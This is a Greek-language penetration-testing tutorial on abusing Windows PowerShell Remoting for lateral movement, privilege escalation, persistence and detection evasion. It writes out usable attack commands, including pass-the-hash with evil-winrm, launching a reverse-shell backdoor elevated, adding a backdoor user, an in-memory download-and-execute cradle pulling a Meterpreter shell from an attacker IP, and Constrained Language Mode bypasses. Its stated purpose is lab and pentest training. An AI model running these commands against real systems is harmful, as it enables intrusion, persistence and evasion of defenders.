Το PowerShell Remoting είναι μια εγγενής λειτουργία των Windows που μπορεί να χρησιμοποιηθεί για την κατάληψη ολόκληρων επιχειρήσεων. Σας επιτρέπει να περιστρέφεστε μεταξύ μηχανών, να αυτοματοποιείτε εργασίες hacking και να κυριαρχείτε σε περιβάλλοντα Windows παραμένοντας απαρατήρητοι.
Αυτός ο ολοκληρωμένος οδηγός θα σας διδάξει για το PowerShell Remoting και πώς να το χρησιμοποιείτε για να ξεκινάτε διαδραστικές συνεδρίες, να εκτελείτε απομακρυσμένες εντολές και να εκτελείτε ολοκληρωμένες δέσμες ενεργειών PowerShell σε πολλαπλά μηχανήματα.
Θα δείτε επίσης πώς μπορεί να χρησιμοποιηθεί για κοινές ενέργειες pentest δοκιμών, όπως lateral movement, privilege escalation και establishing persistence, ενώ αποφεύγεται την ανίχνευση.
Ας μπούμε κατευθείαν στο θέμα και ας μάθουμε πώς να κάνουμε PSRemoting.
Table of Contents
Τι είναι το PowerShell Remoting;
Το PowerShell Remoting είναι μια λειτουργία του Windows PowerShell που επιτρέπει στους διαχειριστές συστήματος να εκτελούν εντολές και σενάρια σε μηχανήματα στο περιβάλλον των Windows εξ αποστάσεως. Αυτό είναι παρόμοιο με την εκτέλεση εντολών ή scripts μέσω SSH σε διακομιστές Linux.
Έχει σχεδιαστεί για τους διαχειριστές πληροφορικής για να εκτελούν εργασίες απομακρυσμένης διαχείρισης και αυτοματοποίησης σε συστήματα σε ένα επιχειρησιακό περιβάλλον.
Με μία μόνο εντολή ή δέσμη ενεργειών, μπορείτε να ενημερώσετε λογισμικό, να αλλάξετε τις ρυθμίσεις διαμόρφωσης ή να επεξεργαστείτε υπηρεσίες σε πολλά μηχανήματα. Οι αναλυτές SOC ή οι ανταποκριτές μπορούν επίσης να το χρησιμοποιούν για να συλλέγουν αρχεία καταγραφής για ανάλυση ή να εκτελούν γρήγορα ενέργειες αποκατάστασης.
Συνοπτικά, το PowerShell Remoting διαθέτει τα ακόλουθα βασικά χαρακτηριστικά:
Αυτά τα χαρακτηριστικά καθιστούν το PowerShell Remoting εξαιρετικό για τους διαχειριστές πληροφορικής. Ωστόσο, μπορεί επίσης να χρησιμοποιηθεί από δοκιμαστές διείσδυσης για την εκτέλεση δοκιμών ασφαλείας σε συστήματα ή από χάκερ κατά τη διάρκεια μιας επίθεσης στον κυβερνοχώρο.
Στην ενότητα που ακολουθεί, θα εξετάσουμε πώς μπορεί να χρησιμοποιηθεί το PowerShell remoting για pentesting.
Εκτέλεση εντολών εξ’ αποστάσεως
Το PowerShell Remoting σάς επιτρέπει να εκτελείτε εντολές και δέσμες ενεργειών σε απομακρυσμένα συστήματα. Αυτό σημαίνει ότι δεν χρειάζεται να κάθεστε μπροστά από τον σταθμό εργασίας στον οποίο στοχεύετε για να εκτελέσετε επιθέσεις. Από τη στιγμή που βρίσκεστε μέσα στο δίκτυο, μπορείτε να επιτεθείτε σε οποιοδήποτε μηχάνημα που είναι συνδεδεμένο στο δίκτυο.
Stealth και Evasion
Το PowerShell είναι ενσωματωμένο στα σύγχρονα συστήματα Windows και το PowerShell Remoting είναι ένα νόμιμο χαρακτηριστικό που χρησιμοποιεί το προσωπικό πληροφορικής για τη διαχείριση των μηχανημάτων. Αυτό σημαίνει ότι οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτή την εγγενή τεχνολογία για να αναμειχθούν με τη νόμιμη κυκλοφορία, να μειώσουν την ανάγκη μεταφόρτωσης πρόσθετων εργαλείων hacking και να περάσουν κάτω από το ραντάρ των αμυντικών.
Αυτοματοποιημένη αναγνώριση και εκμετάλλευση
Το PowerShell Remoting σάς επιτρέπει να εκτελείτε ολόκληρα σενάρια PowerShell σε εκατοντάδες μηχανήματα ταυτόχρονα. Αυτό είναι ιδανικό για την αυτοματοποίηση κοινών εργασιών αναγνώρισης και εκμετάλλευσης, όπως η σάρωση θυρών δικτύου, η εύρεση ευάλωτων μηχανημάτων και η εκτέλεση γεμίσματος διαπιστευτηρίων. Η αυτοματοποίηση σας εξοικονομεί χρόνο και ενέργεια.
Δραστηριότητες μετά την εκμετάλλευση
Μετά την απόκτηση αρχικής πρόσβασης, οι χάκερς θα εκτελέσουν δραστηριότητες μετά την εκμετάλλευση, όπως η δημιουργία μηχανισμών επιμονής, η συλλογή διαπιστευτηρίων για την απομόνωση δεδομένων και τελικά η πλευρική μετακίνηση. Και πάλι, το PowerShell Remoting είναι ένα εξαιρετικό εργαλείο με τη δυνατότητα απομακρυσμένης εκτέλεσης κώδικα, την εγγενή υποστήριξη σε περιβάλλοντα Windows και τις δυνατότητες αυτοματοποίησης.
Ρύθμιση και ενεργοποίηση του PowerShell Remoting
Το PowerShell Remoting είναι απενεργοποιημένο από προεπιλογή σε μηχανήματα Windows. Για να ενεργοποιήσετε το remoting, ανοίξτε ένα τερματικό PowerShell ως διαχειριστής και εκτελέστε την εντολή Enable-PSRemoting -Force. Αυτό θα ενεργοποιήσει τη λειτουργία PowerShell Remoting και θα διασφαλίσει ότι το τείχος προστασίας των Windows επιτρέπει την κυκλοφορία WinRM.
Εάν μπορείτε να δημιουργήσετε μια σύνδεση WMIC στο στόχο, μπορείτε να ενεργοποιήσετε το PowerShell Remoting εξ αποστάσεως χρησιμοποιώντας την εντολή WMI (Windows Management Instrumentation) wmic /node:<RemoteHost> process call create “powershell enable-psremoting -force”.
Αυτό είναι το μόνο που χρειάζεστε αν χρησιμοποιείτε υπολογιστές συνδεδεμένους σε τομέα για την εκτέλεση του PowerShell Remoting.
Ωστόσο, εάν εκτελείτε απομακρυσμένες εντολές PowerShell από έναν υπολογιστή που δεν είναι συνδεδεμένος στον ίδιο τομέα με το μηχάνημα-στόχο, το μηχάνημά σας θεωρείται “μη αξιόπιστος κεντρικός υπολογιστής”. Για παράδειγμα, ο υπολογιστής σας Kali Linux θα ήταν ένας μη αξιόπιστος κεντρικός υπολογιστής.
Για να διασφαλίσετε ότι το PowerShell Remoting λειτουργεί από οποιοδήποτε μηχάνημα, πρέπει είτε να προσθέσετε το συγκεκριμένο μηχάνημα στη λίστα Trusted Hosts για το μηχάνημα στο οποίο κάνετε PowerShell Remoting είτε να ορίσετε όλους τους κεντρικούς υπολογιστές ως αξιόπιστους κεντρικούς υπολογιστές χρησιμοποιώντας ένα μπαλαντέρ (*):
- Για να προσθέσετε το μηχάνημά σας, εκτελέστε την εντολή Set-Item wsman:\localhost\Client\TrustedHosts -Value “<YourComputerName>”.
- Για να προσθέσετε όλους τους κεντρικούς υπολογιστές, εκτελέστε την εντολή Set-Item wsman: localhostClientTrustedHosts -Value *. Χρησιμοποιήστε αυτήν την εντολή μόνο σε ελεγχόμενα περιβάλλοντα δοκιμών.
Και πάλι, εκτελέστε αυτές τις εντολές από ένα τερματικό PowerShell ως διαχειριστής στο μηχάνημα-στόχο.
Για να ελέγξετε τη σύνδεσή σας από ένα μηχάνημα Kali Linux, μπορείτε να χρησιμοποιήσετε το ενσωματωμένο εργαλείο evil-winrm. Εκτελέστε την εντολή evil-winrm -i <target-ip> -u <username> -p <password> για να δείτε αν μπορείτε να συνδεθείτε στο μηχάνημα-στόχο χρησιμοποιώντας το πρωτόκολλο WinRM.
Εάν είναι επιτυχής, μπορείτε να χρησιμοποιήσετε το PowerShell Remoting για να εκτελέσετε εντολές και δέσμες ενεργειών PowerShell.
Πώς να χρησιμοποιήσετε το PowerShell Remoting
Μόλις ενεργοποιηθεί η λειτουργία PowerShell Remoting στο μηχάνημα-στόχο, μπορείτε να αρχίσετε να εκτελείτε απομακρυσμένες εντολές PowerShell.
Πρώτον, για να δημιουργήσετε μια σύνοδο PowerShell Remoting με το στόχο, ανοίξτε ένα τερματικό PowerShell στο μηχάνημα Kali Linux χρησιμοποιώντας το αναπτυσσόμενο μενού στο επάνω μέρος του γραφικού περιβάλλοντος.
Στη συνέχεια, εκτελέστε την εντολή Enter-PSSession -ComputerName <target-ip> -Authentication Negotiate -Credential <username>. Αυτό θα συνδεθεί στον απομακρυσμένο στόχο και θα σας ζητήσει να εισαγάγετε τον κωδικό πρόσβασης που σχετίζεται με το καθορισμένο όνομα χρήστη. Με την εισαγωγή αυτού του κωδικού θα ξεκινήσει μια απομακρυσμένη σύνοδος PowerShell στο μηχάνημα-στόχο.
Μόλις δημιουργήσετε μια περίοδο λειτουργίας PowerShell Remoting, μπορείτε να αλληλεπιδράσετε με το μηχάνημα-στόχο ακριβώς σαν να είχατε ανοίξει ένα τερματικό PowerShell τοπικά.
PowerShell Remoting Scripts
Οι εντολές PowerShell είναι εξαιρετικές, αλλά πιθανότατα δεν θέλετε να τις εκτελείτε διαδραστικά, μία προς μία κάθε φορά.
Καλά νέα: Το PowerShell Remoting σας επιτρέπει να ομαδοποιήσετε τις εντολές σας σε ένα script και να το εκτελέσετε ασύγχρονα σε ένα μηχάνημα-στόχο για να αυτοματοποιήσετε εργασίες.
Αρχικά, δημιουργήστε μια μεταβλητή PowerShell για να κρατήσετε τη σύνοδο PowerShell Remoting με την εντολή $ps_session = New-PSSession -ComputerName <target-ip> -Authentication Negotiate -Credential <username>. Αυτό σας επιτρέπει να αναφέρεστε στη μεταβλητή όποτε θέλετε να εκτελέσετε εντολές ή scripts PowerShell στο απομακρυσμένο μηχάνημα.
Στη συνέχεια, χρησιμοποιήστε το cmdlet Invoke-Command με τις επιλογές -Session και -ScriptBlock για να εκτελέσετε πολλές εντολές PowerShell ταυτόχρονα. Για παράδειγμα, η εντολή Invoke-Command -Session $ps_session -ScriptBlock {hostname; whoami; Get-Process;} θα λάβει το όνομα κεντρικού υπολογιστή του μηχανήματος (1), τον χρήστη με τον οποίο έχετε συνδεθεί (2) και θα παραθέσει όλες τις διεργασίες που εκτελούνται (3) – όλη η βασική αναγνώριση του τομέα σε μία εντολή.
Για να εκτελέσετε μια δέσμη ενεργειών PowerShell και όχι ένα μπλοκ δέσμης ενεργειών, χρησιμοποιήστε την επιλογή -FilePath ακολουθούμενη από τη διαδρομή της δέσμης ενεργειών που θέλετε να εκτελέσετε. Για παράδειγμα, Invoke-Command -Session $ps_session -FilePath /home/adam/host-recon.ps1
Εδώ, η δέσμη ενεργειών host-recon.ps1 περιέχει τις ίδιες εντολές PowerShell όπως και προηγουμένως, απλώς σε μια δέσμη ενεργειών αντί να παρατίθενται μεμονωμένα.
PowerShell Remoting Session Management
Μόλις είδατε πώς η εντολή Enter-PSSession μπορεί να δημιουργήσει μια διαδραστική συνεδρία και η εντολή New-PSSession δημιουργεί μια συνεδρία που μπορείτε να χρησιμοποιήσετε για την εκτέλεση εντολών. Αυτές είναι οι εντολές cmdlets διαχείρισης συνόδου PowerShell Remoting που χρησιμοποιούνται για τη διαχείριση συνόδων. Ακολουθεί μια περίληψη όλων των cmdlets διαχείρισης που μπορείτε να χρησιμοποιήσετε:
PowerShell Remoting για hackers
Το PowerShell Remoting είναι ένα ισχυρό χαρακτηριστικό που οι διαχειριστές συστημάτων μπορούν να χρησιμοποιήσουν για τη διαχείριση συστημάτων, αλλά οι χάκερ μπορούν επίσης να το καταχραστούν.
Οι κακόβουλοι φορείς μπορούν να χρησιμοποιήσουν το PowerShell Remoting για να πραγματοποιήσουν lateral movement, να κλιμακώσουν τα προνόμιά τους, να εγκαταστήσουν persistence μηχανισμούς και να αποφύγουν την ανίχνευση.
Ας εξερευνήσουμε πώς μπορείτε να το κάνετε αυτό κατά τη διάρκεια μιας pentest δοκιμής.
PowerShell Remoting για Lateral Movement
Το lateral movement είναι ένα βασικό βήμα σε κάθε δοκιμή διείσδυσης, και το PowerShell Remoting μπορεί να το κάνει πολύ εύκολο.
Αρκεί να κλέψετε διαπιστευτήρια από ένα παραβιασμένο σύστημα χρησιμοποιώντας ένα εργαλείο όπως το Mimikatz ή το Meterpreter. Στη συνέχεια, χρησιμοποιήστε αυτά τα διαπιστευτήρια για να πραγματοποιήσετε έλεγχο ταυτότητας σε άλλα συστήματα χρησιμοποιώντας το PowerShell Remoting.
Για παράδειγμα, παρακάτω, ο κλεμμένος κατακερματισμός NTLM του λογαριασμού διαχειριστή του StationX χρησιμοποιείται με το εργαλείο hacking evil-winrm για την εκτέλεση μιας επίθεσης pass-the-hash με χρήση του PowerShell Remoting. Η εντολή που εκτελέστηκε είναι η εξής: evil-winrm -i <target-ip> -u <username> -H <hash>.
Το PowerShell Remoting σάς επιτρέπει να ξεκινάτε διαδραστικές συνεδρίες καθώς άλλοι χρήστες εκτελούν σενάρια ή εντολές σε πολλαπλά συστήματα σε ολόκληρο το δίκτυο Active Directory. Περιορίζεστε μόνο από το τι μπορούν να προσπελάσουν τα κλεμμένα διαπιστευτήρια και αν είναι ενεργοποιημένο το PowerShell Remoting.
PowerShell Remoting για Privilege Escalation
Το PowerShell Remoting μπορεί επίσης να χρησιμοποιηθεί για να αυξήσετε τα προνόμιά σας σε ένα μηχάνημα-στόχο εκτελώντας αυθαίρετες εντολές PowerShell.
Μπορείτε να εκτελέσετε συγκεκριμένες εντολές για να ελέγξετε για ευκαιρίες κλιμάκωσης προνομίων ή ολόκληρα σενάρια που κλιμακώνουν αυτόματα τα προνόμιά σας.
Για παράδειγμα, πολλές δραστηριότητες μετά την εκμετάλλευση κατά τη διάρκεια μιας δοκιμής διείσδυσης απαιτούν αυξημένα προνόμια, όπως ο έλεγχος για λανθασμένες ρυθμίσεις, η εγκατάσταση μηχανισμών επιμονής ή η διαρροή ευαίσθητων δεδομένων.
Μπορείτε να εκκινήσετε ένα αυξημένο αντίστροφο κέλυφος χρησιμοποιώντας το PowerShell Remoting με την εντολή Invoke-Command -Session $ps_session -ScriptBlock { Start-Process “C:\Users\stationx-admin\Downloads\backdoor.exe” -Verb RunAs }.
Η παράμετρος -Verb RunAs θα εκκινήσει το εκτελέσιμο αρχείο backdoor.exe ως διεργασία με δικαιώματα διαχειριστή. Σε αυτή την περίπτωση, θα εκκινήσει ένα reverse shell διαχειριστή στο μηχάνημα-στόχο, το οποίο μπορείτε να χρησιμοποιήσετε για να εκτελέσετε εργασίες μετά την εκμετάλλευση, όπως η κλιμάκωση των προνομίων σας σε χρήστη του συστήματος.
Παρακάτω, το reverse shell συλλαμβάνεται χρησιμοποιώντας το Metasploit και η εντολή getsystem Meterpreter είναι επιτυχής επειδή το shell εκτελείται με προνόμια διαχειριστή.
Οι εντολές που παρουσιάζονται εδώ εκτελούνται σε ένα μηχάνημα Windows 10 με απενεργοποιημένο το Microsoft Windows Defender και την έξυπνη οθόνη.
PowerShell Remoting για Persistence
Μια συνηθισμένη εργασία μετά την εκμετάλλευση είναι η εγκατάσταση μηχανισμών επιμονής που σας επιτρέπουν να διατηρείτε την πρόσβαση σε ένα μηχάνημα-στόχο ακόμη και όταν ο χρήστης αποσυνδεθεί ή επανεκκινήσει το σύστημα.
Μπορείτε να χρησιμοποιήσετε διάφορους μηχανισμούς επιμονής, όπως η δημιουργία ενός script του φακέλου εκκίνησης των Windows που συνδέεται με το διακομιστή εντολών και ελέγχου (C2), η εγκατάσταση μιας κακόβουλης υπηρεσίας ή η χρήση ενός κλειδιού εκτέλεσης του μητρώου.
Ένας συνηθισμένος μηχανισμός εμμονής στις επιθέσεις στον κυβερνοχώρο είναι η δημιουργία νέων λογαριασμών χρηστών στο περιβάλλον-στόχο. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας το PowerShell Remoting με την εντολή Invoke-Command -Session $ps_session -ScriptBlock { net user <username> <password> /add }.
Εδώ δημιουργείται ο νέος χρήστης hacker, τον οποίο μπορείτε να χρησιμοποιήσετε ως κερκόπορτα για να συνδεθείτε σε αυτό το σύστημα. Μπορείτε επίσης να τον προσθέσετε σε προνομιούχες ομάδες για να του δώσετε μεγαλύτερη πρόσβαση στο περιβάλλον-στόχο.
Απλά βεβαιωθείτε ότι έχετε τα απαιτούμενα δικαιώματα χρήστη για να προσθέσετε αυτόν τον νέο χρήστη με τον λογαριασμό που χρησιμοποιείτε για το PowerShell Remoting.
Αποφυγή ανίχνευσης
Όπως αναφέρθηκε, η πλευρική μετακίνηση αποτελεί βασικό βήμα σε κάθε δοκιμή διείσδυσης. Ωστόσο, συνήθως, αυτό απαιτεί να χρησιμοποιήσετε ένα πλαίσιο C2 όπως το PowerShell Empire και να εγκαταστήσετε έναν πράκτορα C2 σε κάθε μηχάνημα στο οποίο μετακινείστε, ώστε να μπορείτε να αλληλεπιδράσετε μαζί του.
Σε αυτό το σημείο εντοπίζονται οι περισσότερες δοκιμές διείσδυσης. Το λογισμικό προστασίας από ιούς ή ένα εργαλείο ανίχνευσης και απόκρισης τελικών σημείων (EDR) θα σαρώσει το μηχάνημα και θα ανιχνεύσει εάν υπάρχει κακόβουλο λογισμικό (π.χ. ο C2 agent σας).
Στη συνέχεια θα θέσει σε καραντίνα ή θα αφαιρέσει αυτό το κακόβουλο λογισμικό και η πρόσβασή σας θα χαθεί. Για να το αποφύγουν αυτό, οι δοκιμαστές διείσδυσης και οι κόκκινες ομάδες ξοδεύουν μέρες ή εβδομάδες γράφοντας προσαρμοσμένα εμφυτεύματα C2 που μπορούν να αποφύγουν την ανίχνευση.
Αν αυτό ακούγεται σαν πολλή δουλειά, μην ανησυχείτε: εδώ είναι που το PowerShell Remoting λάμπει. Στην πραγματικότητα, οι συνεδρίες, οι εντολές και τα σενάρια PowerShell Remoting εκτελούνται εξ ολοκλήρου στη μνήμη.
Αυτό σημαίνει ότι οι κοινές τεχνικές ανίχνευσης, όπως η σάρωση με βάση την υπογραφή, δεν θα ανιχνεύσουν τις δραστηριότητές σας μετά την εκμετάλλευση και μπορείτε να εκτελέσετε εντολές χωρίς flag.
Επιπλέον, επειδή το PowerShell Remoting είναι τόσο διαδεδομένο σε περιβάλλοντα επιχειρήσεων, οι ενέργειές σας πιθανότατα θα περάσουν απαρατήρητες από τους αμυντικούς, σε αντίθεση με ένα εργαλείο όπως το PsExec.
Το PsExec δεν είναι προεγκατεστημένο στους περισσότερους σταθμούς εργασίας ή διακομιστές, οπότε οι πιθανότητες να ενσωματωθείτε στο περιβάλλον-στόχο είναι μικρότερες από το PowerShell Remoting.
Ένας τρόπος να χρησιμοποιήσετε το PowerShell Remoting για να παραμείνετε απαρατήρητοι είναι να κατεβάσετε και να εκτελέσετε PowerShell scripts στη μνήμη σε ένα μηχάνημα-στόχο.
Για παράδειγμα, αυτή η εντολή χρησιμοποιεί μια βάση λήψης PowerShell για τη λήψη και εκτέλεση ενός αντίστροφου κελύφους Meterpreter εξ ολοκλήρου στη μνήμη: Invoke-Command -Session $ps_session -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString(‘http://10.0.200.17:8000/backdoor.ps1’) }.
Το reverse shell Meterpreter κατεβαίνει από το μηχάνημα του επιτιθέμενου (10.0.200.17) και εκτελείται στο μηχάνημα-στόχο χωρίς να αγγίξει το δίσκο, αποφεύγοντας τους μηχανισμούς ανίχνευσης στο δίσκο. Ένα πλήρως διαδραστικό shell συνδέεται πίσω στο μηχάνημα επίθεσης.
Αυτό είναι απλώς ένα reverse shell. Θα μπορούσατε επίσης να κατεβάσετε και να εκτελέσετε σενάρια διείσδυσης δεδομένων, agents C2 ή οποιοδήποτε άλλο κακόβουλο λογισμικό που σας επιτρέπει να επιτύχετε τους στόχους σας.
Ωστόσο, πριν προτρέξετε, να θυμάστε ότι το PowerShell Remoting έχει ορισμένους περιορισμούς, ειδικά αν είναι ενεργοποιημένη η λειτουργία Constrained Language Mode.
Οι δέσμες ενεργειών PowerShell πρέπει να έχουν άδεια εκτέλεσης στο σύστημα Windows στο οποίο κάνετε επίθεση για να τις κατεβάσετε και να τις εκτελέσετε στη μνήμη. Μπορείτε να το επιτρέψετε αυτό αλλάζοντας την παράμετρο πολιτικής Set-Execution.
Περιορισμένη λειτουργία γλώσσας
Η Λειτουργία περιορισμένης γλώσσας (CLM) είναι ένα χαρακτηριστικό ασφαλείας του PowerShell που περιορίζει τις εντολές και τα σενάρια που μπορείτε να εκτελέσετε. Περιορίζει τη χρήση ορισμένων cmdlets και γλωσσικών χαρακτηριστικών που οι χάκερ μπορούν να καταχραστούν, όπως οι περιορισμοί στη χρήση κλάσεων και μεθόδων .NET που εμφανίζονται συνήθως σε κακόβουλο λογισμικό.
Αποκλείει επίσης την πρόσβαση σε ορισμένους τύπους του πλαισίου .NET που μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου κώδικα ή την πρόσβαση σε ευαίσθητους πόρους του συστήματος, όπως η τοπική υπηρεσία υποσυστήματος αρχών ασφαλείας (LSASS). Οι χάκερ χρειάζονται αυτή την πρόσβαση για να κλέψουν διαπιστευτήρια και να πραγματοποιήσουν συλλογή διαπιστευτηρίων.
Μόλις ενεργοποιηθεί το CLM, οι διαχειριστές συστήματος καθορίζουν ποιες δέσμες ενεργειών μπορούν να εκτελούνται, ποιοι τύποι πλαισίου .NET μπορούν να χρησιμοποιηθούν και σε ποιες δυνατότητες της γλώσσας PowerShell μπορούν να έχουν πρόσβαση οι χρήστες. Αυτό περιορίζει σημαντικά τις δυνατότητες του PowerShell Remoting.
Μπορείτε να εκτελέσετε την εντολή PowerShell $ExecutionContext.SessionState.LanguageMode για να ανιχνεύσετε αν το CLM είναι ενεργοποιημένο.
Αυτό θα επιστρέψει τη λειτουργία γλώσσας για το τρέχον σύστημα:
FullLanguage
: Αυτή είναι η προεπιλεγμένη λειτουργία. Παρέχει πλήρεις δυνατότητες σεναρίων χωρίς περιορισμούς. Είναι διαθέσιμες όλες οι εντολές cmdlets, τα χαρακτηριστικά της γλώσσας και οι τύποι .NET.RestrictedLanguage
: Αυτή η επιλογή σας περιορίζει σε βασικές εντολές και εκφράσεις. Δεν επιτρέπει σύνθετα σενάρια γλώσσας, κατασκευές ή τύπους .NET.NoLanguage
: Εδώ, η εκτέλεση σεναρίων είναι εντελώς απενεργοποιημένη και επιτρέπεται μόνο η εκτέλεση βασικών εντολών.ConstrainedLanguage
: Σε αυτή τη λειτουργία, επιτρέπεται η εκτέλεση βασικών σεναρίων, αλλά η πρόσβαση σε προηγμένες λειτουργίες και τύπους .NET είναι περιορισμένη. Αυτή η γλώσσα σας επιτρέπει μόνο την εκτέλεση βασικών διαχειριστικών εργασιών.
Εάν διαπιστώσετε ότι το CLM είναι ενεργοποιημένο στο μηχάνημα στο οποίο κάνετε PowerShell Remoting, μπορείτε να δοκιμάσετε διάφορες μεθόδους παράκαμψης.
Ο ευκολότερος τρόπος για να παρακάμψετε το CLM είναι να υποβαθμίσετε την απομακρυσμένη συνεδρία PowerShell σε μια προηγούμενη έκδοση PowerShell. Για παράδειγμα, μπορείτε να υποβαθμίσετε την έκδοση PowerShell 2.0 με την εντολή powershell -version 2.
Η αναβάθμιση σε μια παλαιότερη έκδοση της PowerShell απαιτεί η έκδοση αυτή να έχει ήδη εγκατασταθεί στο μηχάνημα-στόχο σας. Αν αυτό δεν ισχύει, υπάρχουν άλλες παρακάμψεις του CLM, όπως:
- Κάντε τη διαδρομή στην οποία εκτελείτε τα σενάριά σας να περιέχει system32, όπως αναφέρεται εδώ.
- Σενάρια παράκαμψης CLM PowerShell.
- Χρήση χώρων εκτέλεσης της PowerShell για παράκαμψη της CLM.
Ας δούμε πώς συγκρίνεται το PowerShell Remoting με ένα άλλο εργαλείο που χρησιμοποιείται συνήθως για πλευρική μετακίνηση σε περιβάλλοντα Windows.
PowerShell Remoting vs PsExec
Το PsExec είναι ένα άλλο δημοφιλές εργαλείο που χρησιμοποιείται συχνά από φορείς απειλών για την εκτέλεση πλευρικών μετακινήσεων, την κλιμάκωση προνομίων και την εκτέλεση απομακρυσμένου κώδικα.
Αυτό το βοηθητικό πρόγραμμα γραμμής εντολών αποτελεί μέρος της σουίτας Sysinternals της Microsoft. Είναι ελαφρύ και αυτόνομο και οι διαχειριστές συστημάτων το εγκαθιστούν συχνά σε περιβάλλοντα επιχειρήσεων.
Το PsExec μοιράζεται πολλές ομοιότητες με το PowerShell Remoting. Λειτουργούν καλά σε περιβάλλοντα Windows, αναμειγνύονται με τις νόμιμες εργασίες του διαχειριστή και είναι ιδανικά για εργασίες μετά την εκμετάλλευση.
Ωστόσο, σε αντίθεση με το PowerShell Remoting, το PsExec έχει σχεδιαστεί για γρήγορες, ad-hoc εργασίες, όπως η εκτέλεση απλών εντολών ή εκτελέσιμων αρχείων που δεν είναι PowerShell.
Δεν μπορείτε να το χρησιμοποιήσετε για την αυτοματοποίηση σύνθετων εργασιών, όπως η εκτέλεση ολοκληρωμένων σεναρίων, η εκτέλεση εντολών σε πολλαπλούς υπολογιστές ή η δημιουργία διαδραστικής συνεδρίας. Λάμπει μόνο όταν εκτελεί μεμονωμένες εργασίες με ελάχιστες ρυθμίσεις.
Το PowerShell Remoting είναι ο σωστός τρόπος αν θέλετε μια πιο ισχυρή λύση. Τα μόνα ζητήματα είναι αν έχει ρυθμιστεί στο περιβάλλον που στοχεύετε και αν μπορείτε να παρακάμψετε τυχόν προστασίες του PowerShell, όπως το CLM.
Συμπέρασμα
Το PowerShell Remoting είναι ένα ισχυρό χαρακτηριστικό των Windows που σας επιτρέπει να εκτελείτε πλευρικές μετακινήσεις, να αυξάνετε τα προνόμια και να εγκαθιστάτε μηχανισμούς επιμονής.
Αυτός ο οδηγός έδειξε πώς να το χρησιμοποιείτε για να ξεκινήσετε διαδραστικές συνεδρίες, να εκτελείτε ad-hoc εντολές και να εκτελείτε ολόκληρα σενάρια PowerShell που μπορούν να αυτοματοποιήσουν πολλές εργασίες hacking.
Είδατε επίσης πώς μπορείτε να χρησιμοποιήσετε το PowerShell Remoting για να αποφύγετε την ανίχνευση, ανακαλύψατε συμβουλές για την παράκαμψη του Constrained Language Mode (CLM) της PowerShell και μάθατε πώς το PowerShell Remoting συγκρίνεται με το PsExec.
Σας ενθαρρύνουμε να δημιουργήσετε το εργαστήριο hacking και να παίξετε με τις φοβερές δυνατότητες αυτού του χαρακτηριστικού των Windows.